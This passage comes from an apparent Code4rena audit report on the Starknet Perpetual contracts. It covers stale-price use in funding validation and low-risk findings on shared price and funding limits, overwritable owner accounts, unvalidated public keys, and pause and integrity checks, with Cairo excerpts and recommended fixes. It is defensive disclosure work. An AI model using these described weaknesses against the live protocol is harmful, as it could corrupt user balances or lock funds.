`_process_funding_tick()` is executed with the new funding tick for the asset and the storage read `max_funding_rate` where downstream the function `funding.validate_funding_rate()` is executed. This function validates that the change in the old and new funding index doesn't violate the `max_funding_rate`, however, the function relies on the price of the synthetic asset fetched through `get_synthetic_price()`.

However, `get_synthetic_price()` retrieves the asset price from `self.synthetic_timely_data` but does not check if the price is up to date. This can result in the use of stale prices, which can cause incorrect validation of the funding rate. As a result, invalid funding rate changes might incorrectly pass validation, or valid funding rate updates could be wrongly rejected. The more severe case is invalid funding rate changes passing validation since the funding tick directly affects the collateral balance of positions and can lead to erroneously updated balances - modification to the collateral balance based on the funding index happens in `positions.

`_update_synthetic_balance_and_funding()` and the funding index is also considered in health validations that use `positions.get_collateral_provisional_balance()`.

Recommended mitigation steps

Validate that the price is up to date upon retrieving the price through `get_synthetic_price()`. A call to `assets.validate_assets_integrity()` would not work properly since the function also performs a check whether the funding indexes are up to date, however, `funding_tick()` must be successful when the funding indexes are out of date.

oded (Starknet Perpetual) confirmed

Code4rena judging staff adjusted the severity of Finding [M-01], after reviewing additional context provided by the sponsor.

Low Risk and Non-Critical Issues

For this audit, 14 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **Bigsam** received the top score from the judge.

The following wardens also submitted reports: 0xcb90f054, aldarion, Bauchibred, CODESPECT, dystopia, enami_el, eta, hieutrinh02, m4k2, montecristo, newspacexyz, Sparrow, and VulnSeekers.

[L-01] Error in Using the same max Price interval for all ASSETS.

Most tokens have different heart beats , with meme coins been highly volatile and other token like stable coin also. The code incorrectly assign a single value to track all asset price staleness.

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/components/assets/assets.cairo#L579

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/components/assets/assets.cairo#L764-L777

```
fn _validate_synthetic_prices(
        self: @ComponentState<TContractState>,
        current_time: Timestamp,
        max_price_interval: TimeDelta,
    ) {
```

```
            for (synthetic_id, synthetic_timely_data) in
self.synthetic_timely_data {
                // Validate only active asset
                if self._get_synthetic_config(:synthetic_id).status ==
AssetStatus::ACTIVE {
                    assert(
@here                       max_price_interval >= current_time

.sub(synthetic_timely_data.last_price_update),
                        SYNTHETIC_EXPIRED_PRICE,
                    );
                }
            };
```

This will allow for some tokens with smaller intervals as per the oracle design to return stale prices or revert when prices are still fresh for the other.

Recommendation

Consider configuring `max_price_interval` for each synthetic asset individually.

[L-02] Error in Using the same max funding rate for all synthetic ASSETS.

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/types/funding.cairo#L93-L117

Some assets move wildly (DOGE, PEPE), others are relatively stable (ETH, BTC), and some are nearly flat (e.g. real-world assets or stablecoin synths).

If you set `max_funding_rate` too high:

- Low-volatility assets will allow unrealistic funding jumps.
- Could lead to price manipulation or unexpected liquidations.

If you set it too low:

- High-volatility assets like DOGE or SOL won't allow fast-enough funding corrections.
- Traders can exploit the spread without paying the proper funding cost.

Example:

You set `max_funding_rate` = 1e-6 per second.

For ETH it might be okay.

But for DOGE, if longs heavily outweigh shorts during a 30-minute rally, funding can't rise fast enough → short traders take losses, system gets imbalance exposure.

```
/// Validates the funding rate by ensuring that the index difference is
bounded by the max funding
/// rate.
///
/// The max funding rate represents the rate of change **per second**, so
it is multiplied by
/// `time_diff`.
/// Additionally, since the index includes the synthetic price,
/// the formula also multiplies by `synthetic_price`.
///
/// Formula:
/// `index_diff <= max_funding_rate * time_diff * synthetic_price`
pub fn validate_funding_rate(
    synthetic_id: AssetId,
    // index_diff scale is the same as the `FUNDING_SCALE` (2^32).
    index_diff: u64,
    // max_funding_rate scale is the same as the `FUNDING_SCALE` (2^32).
    max_funding_rate: u32,
    time_diff: u64,
    synthetic_price: Price,
) {
    assert_with_byte_array(
@here         condition: index_diff.into() <= synthetic_price.mul(rhs:
max_funding_rate)
            * time_diff.into(),
        err: invalid_funding_rate_err(:synthetic_id),
    );
}
```

When funding isn't tuned per asset:

- The protocol either over-penalizes or under-collects.
- It breaks the balance between long/short incentives.
- And it can lead to bad liquidations

Recommendation

Use per-asset `max_funding_rate`, and not a single one for all synthetic assets.

[L-03] Owner Account Can Be Overwritten Due to Missing Validation

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/components/positions/positions.cairo#L195

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/components/positions/positions.cairo#L228-L251

The contract allows ownership assignment via two functions: `set_owner_account_request` and `set_owner_account`. While the former checks that `owner_account` is unset (`assert(position.get_owner_account().is_none())`), the latter **lacks this validation**.

As a result, multiple requests can be submitted and processed under specific conditions, potentially **overwriting a previously set owner**, violating the intended one-time assignment logic.

Requests are identified by a hash—not a public key—so altering the owner address and signature produces a new hash, enabling duplicate requests. Operators process requests sequentially, making double/triple submissions feasible.

This is critical because:

- Ownership should be immutable once set.
- `set_owner_account` does not enforce this constraint.

Affected Code

```
    /// Sets the owner of a position to a new account owner.
        ///
        /// Validations:
        /// - The contract must not be paused.
        /// - The caller must be the operator.
        /// - The operator nonce must be valid.
        /// - The expiration time has not passed.
@here        /// - The position has no account owner.       // note not
done
        /// - The signature is valid.
        fn set_owner_account(
            ref self: ComponentState<TContractState>,
            operator_nonce: u64,
            position_id: PositionId,
            new_owner_account: ContractAddress,
            expiration: Timestamp,
        ) {
            get_dep_component!(@self, Pausable).assert_not_paused();
```

```
            let mut operator_nonce_component = get_dep_component_mut!(ref
self, OperatorNonce);
            operator_nonce_component.use_checked_nonce(:operator_nonce);
            validate_expiration(:expiration, err:
SET_POSITION_OWNER_EXPIRED);                        // reset the
registerapproval and return not revert. BUG? NOTE ...note possible
failure becomes unsettable for life..... if i don deposit inside ko???
            let position = self.get_position_mut(:position_id);
            let public_key = position.get_owner_public_key();
            let mut request_approvals = get_dep_component_mut!(ref self,
RequestApprovals);
            let hash = request_approvals
                .consume_approved_request(
                    args: SetOwnerAccountArgs {
                        position_id, public_key, new_owner_account,
expiration,
                    },
                    :public_key,
                );
@here
position.owner_account.write(Option::Some(new_owner_account));
            self
                .emit(
                    events::SetOwnerAccount {
                        position_id, public_key, new_owner_account,
set_owner_account_hash: hash,
                    },
                );
        }
```

In `set_owner_account_request`:

```
assert(position.get_owner_account().is_none(),
POSITION_HAS_OWNER_ACCOUNT);
```

But in `set_owner_account`, the same check is **missing**:

```
// Missing:
// assert(position.get_owner_account().is_none(),
POSITION_HAS_OWNER_ACCOUNT);
position.owner_account.write(Option::Some(new_owner_account));
```

Supporting logic shows requests are saved and validated using only their hash:

```
let request_hash = args.get_message_hash(:public_key);
// No check for pre-existing owner
```

Recommendation

Add the following validation inside `set_owner_account`:

```
assert(position.get_owner_account().is_none(),
POSITION_HAS_OWNER_ACCOUNT);
```

This ensures ownership is only set once, even if multiple valid requests exist.

[L-04] Missing Curve Validation for Public Keys in `new_position`

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/components/positions/positions.cairo#L152-L165

The `new_position` function fails to validate whether the provided public key lies on the STARK curve. It only checks that the key is non-zero, which is insufficient.

As a result, positions can be created with cryptographically invalid public keys, rendering them permanently unusable for any operations requiring signature verification. This Ids become unusable if Users do not set an Owner address. Also, making the set owner function fail can also cause failure change public key, users can just set and overpollute the Position ids creating multiple unusable ids.

```
  /// Adds a new position to the system.
        ///
        /// Validations:
        /// - The contract must not be paused.
        /// - The operator nonce must be valid.
        /// - The position does not exist.
        /// - The owner public key is non-zero.
        ///
        /// Execution:
        /// - Create a new position with the given `owner_public_key` and
`owner_account`.
        /// - Emit a `NewPosition` event.
        ///
        /// The position can be initialized with `owner_account` that is
zero (no owner account).
```

```
        /// This is to support the case where it doesn't have a L2
account.
        fn new_position(
            ref self: ComponentState<TContractState>,
            operator_nonce: u64,
            position_id: PositionId,
@here             owner_public_key: PublicKey,
            owner_account: ContractAddress,
        ) {
            get_dep_component!(@self, Pausable).assert_not_paused();
            let mut operator_nonce_component = get_dep_component_mut!(ref
self, OperatorNonce);
            operator_nonce_component.use_checked_nonce(:operator_nonce);
            let mut position = self.positions.entry(position_id);
            assert(position.version.read().is_zero(),
POSITION_ALREADY_EXISTS);
            assert(owner_public_key.is_non_zero(),
INVALID_ZERO_PUBLIC_KEY);
            position.version.write(POSITION_VERSION);
@here             position.owner_public_key.write(owner_public_key);
            if owner_account.is_non_zero() {

position.owner_account.write(Option::Some(owner_account));
            }
            self
                .emit(
                    events::NewPosition {
                        position_id: position_id,
                        owner_public_key: owner_public_key,
                        owner_account: owner_account,
                    },
                );
        }
```

An operator calls `new_position` with:

- A non-zero public key not on the curve
- Zero owner_account

The position is created successfully. But later, any attempt to interact with it fails due to signature verification errors.

Recommendation

Add a validation to ensure the public key lies on the STARK curve.

[L-05] Liquidation should not be paused

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/core.cairo#L631

The liquidate function is currently gated by a pause check via `self.pausable.assert_not_paused()`. While pausing protocol operations is essential during emergencies, applying this restriction to liquidation poses a critical risk to protocol solvency.

```
      fn liquidate(
             ref self: ContractState,
             operator_nonce: u64,
             liquidator_signature: Signature,
             liquidated_position_id: PositionId,
             liquidator_order: Order,
             actual_amount_base_liquidated: i64,
             actual_amount_quote_liquidated: i64,
             actual_liquidator_fee: u64,
             /// The `liquidated_fee_amount` is paid by the liquidated
position to the
             /// insurance fund position.
             liquidated_fee_amount: u64,
         ) {
             /// Validations:
@here              self.pausable.assert_not_paused();
             self.operator_nonce.use_checked_nonce(:operator_nonce);
             self.assets.validate_assets_integrity();
```

In the current implementation:

```
self.pausable.assert_not_paused(); // <- @audit
```

This line prevents liquidate from executing when the protocol is paused. However, liquidation is a core risk management function that protects against undercollateralized or insolvent positions. Blocking it, even temporarily, can allow bad debt to accumulate, destabilize the system, or harm solvent participants.

Recommendation

Make liquidation callable regardless of pause state.

Remove the pause check from the liquidate function:

```
// self.pausable.assert_not_paused(); // REMOVE this line
```

This ensures critical risk mitigation remains operational at all times.

[L-06] Unnecessary Active Asset Checks Block Inactive Position Resolution

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/core.cairo#L898

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/components/assets/assets.cairo#L575-L588

The `reduce_inactive_asset_position` function unnecessarily validates all ACTIVE synthetic assets via `validate_assets_integrity()`, even though it only involves an INACTIVE asset.

```
    /// - Adjust collateral balances based on `quote_amount`.
        fn reduce_inactive_asset_position(
            ref self: ContractState,
            operator_nonce: u64,
            position_id_a: PositionId,
            position_id_b: PositionId,
            base_asset_id: AssetId,
            base_amount_a: i64,
        ) {
            /// Validations:
            self.pausable.assert_not_paused();
            self.operator_nonce.use_checked_nonce(:operator_nonce);

@here             self.assets.validate_assets_integrity();

            let position_a =
self.positions.get_position_snapshot(position_id: position_id_a);
            let position_b =
self.positions.get_position_snapshot(position_id: position_id_b);

            // Validate base asset is inactive synthetic.
```

```
            if let Option::Some(config) =
self.assets.synthetic_config.read(base_asset_id) {
                assert(config.status == AssetStatus::INACTIVE,
SYNTHETIC_IS_ACTIVE);
            } else {
                panic_with_felt252(NOT_SYNTHETIC);
            }
            let base_balance: Balance = base_amount_a.into();
            let quote_amount_a: i64 = -1
                * self
                    .assets
```

This causes unrelated checks (e.g., funding/price freshness) to fail and block the operation.

```
self.assets.validate_assets_integrity(); // Triggers global funding/price
checks
```

This introduces a Denial of Service (DoS) risk:

Valid inactive asset operations can fail due to stale data in unrelated active assets, preventing clean-up or resolution of deprecated positions.

Recommendation

Update the flow to skip global validations when reducing inactive positions.

This ensures inactive asset operations remain available, reducing protocol fragility and preserving solvency mechanisms.

[L-07] Stale Price Usage in Inactive Asset Settlement

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/core.cairo#L913-L914

```
        fn reduce_inactive_asset_position(
            ref self: ContractState,
            operator_nonce: u64,
            position_id_a: PositionId,
            position_id_b: PositionId,
            base_asset_id: AssetId,
            base_amount_a: i64,
```

```
        ) {
            /// Validations:
            self.pausable.assert_not_paused();
            self.operator_nonce.use_checked_nonce(:operator_nonce);
            self.assets.validate_assets_integrity();

            let position_a =
self.positions.get_position_snapshot(position_id: position_id_a);
            let position_b =
self.positions.get_position_snapshot(position_id: position_id_b);

            // Validate base asset is inactive synthetic.
            if let Option::Some(config) =
self.assets.synthetic_config.read(base_asset_id) {
                assert(config.status == AssetStatus::INACTIVE,
SYNTHETIC_IS_ACTIVE);
            } else {
                panic_with_felt252(NOT_SYNTHETIC);
            }
            let base_balance: Balance = base_amount_a.into();
            let quote_amount_a: i64 = -1
                * self
                    .assets
@here                     .get_synthetic_price(synthetic_id:
base_asset_id)
                    .mul(rhs: base_balance)
                    .try_into()
                    .expect('QUOTE_AMOUNT_OVERFLOW');
            self
```

The `reduce_inactive_asset_position` function allows settlement involving inactive synthetic assets.

However, it uses `get_synthetic_price` without validating the freshness of the price. Since inactive assets cannot have their prices updated (`_set_price` rejects them), these prices can become stale and inaccurate over time.

Recommendation

Allow Admin Price Updates for Inactive Assets:

- Introduce a governor-only function to manually update prices for inactive assets.

Add Price Freshness Check:

- Validate timestamp of inactive asset prices before using them in settlements.

Allow Operator-Provided Prices (With Constraints):

- Let trusted operators provide recent price inputs during settlement, verified off-chain and within tolerances to prevent abuse.

[L-08] Collateral Transfers and Withdrawals Blocked by Irrelevant Synthetic Asset Validations

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/core.cairo#L405

https://github.com/starkware-libs/starknet-perpetual/blob/9e48514c6151a9b65ee23b4a6f9bced8c6f2b793/workspace/apps/perpetuals/contracts/src/core/core.cairo#L293

The transfer and withdraw functions always call `validate_assets_integrity()`, which enforces synthetic asset funding and price freshness checks. While this is critical for users with active synthetic positions, it introduces unintended friction for users who only hold collateral.

```
    fn withdraw(
            ref self: ContractState,
            operator_nonce: u64,
            recipient: ContractAddress,
            position_id: PositionId,
            amount: u64,
            expiration: Timestamp,
            salt: felt252,
        ) {
            self.pausable.assert_not_paused();
            self.operator_nonce.use_checked_nonce(:operator_nonce);

@here            self.assets.validate_assets_integrity();
```

```
        fn transfer(
            ref self: ContractState,
            operator_nonce: u64,
            recipient: PositionId,
            position_id: PositionId,
```

```
            amount: u64,
            expiration: Timestamp,
            salt: felt252,
        ) {
            self.pausable.assert_not_paused();
            self.operator_nonce.use_checked_nonce(:operator_nonce);

@here             self.assets.validate_assets_integrity();
```

Users with no synthetic exposure may be blocked from transferring or withdrawing collateral if synthetic prices are stale or funding has expired.

This is because `validate_assets_integrity()` is executed unconditionally, regardless of the user's asset holdings.

Recommendation

Conditionally execute synthetic validation only if the user has an active synthetic position:

```
let position = self.positions.get_position_snapshot(position_id);
if position.has_synthetic_assets() {
    self.assets.validate_assets_integrity();
}
```

This ensures:

- Correct behavior for users actively trading synthetic assets.
- Uninterrupted access for users managing only collateral.
- Reduced system fragility and better user experience across edge cases.

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.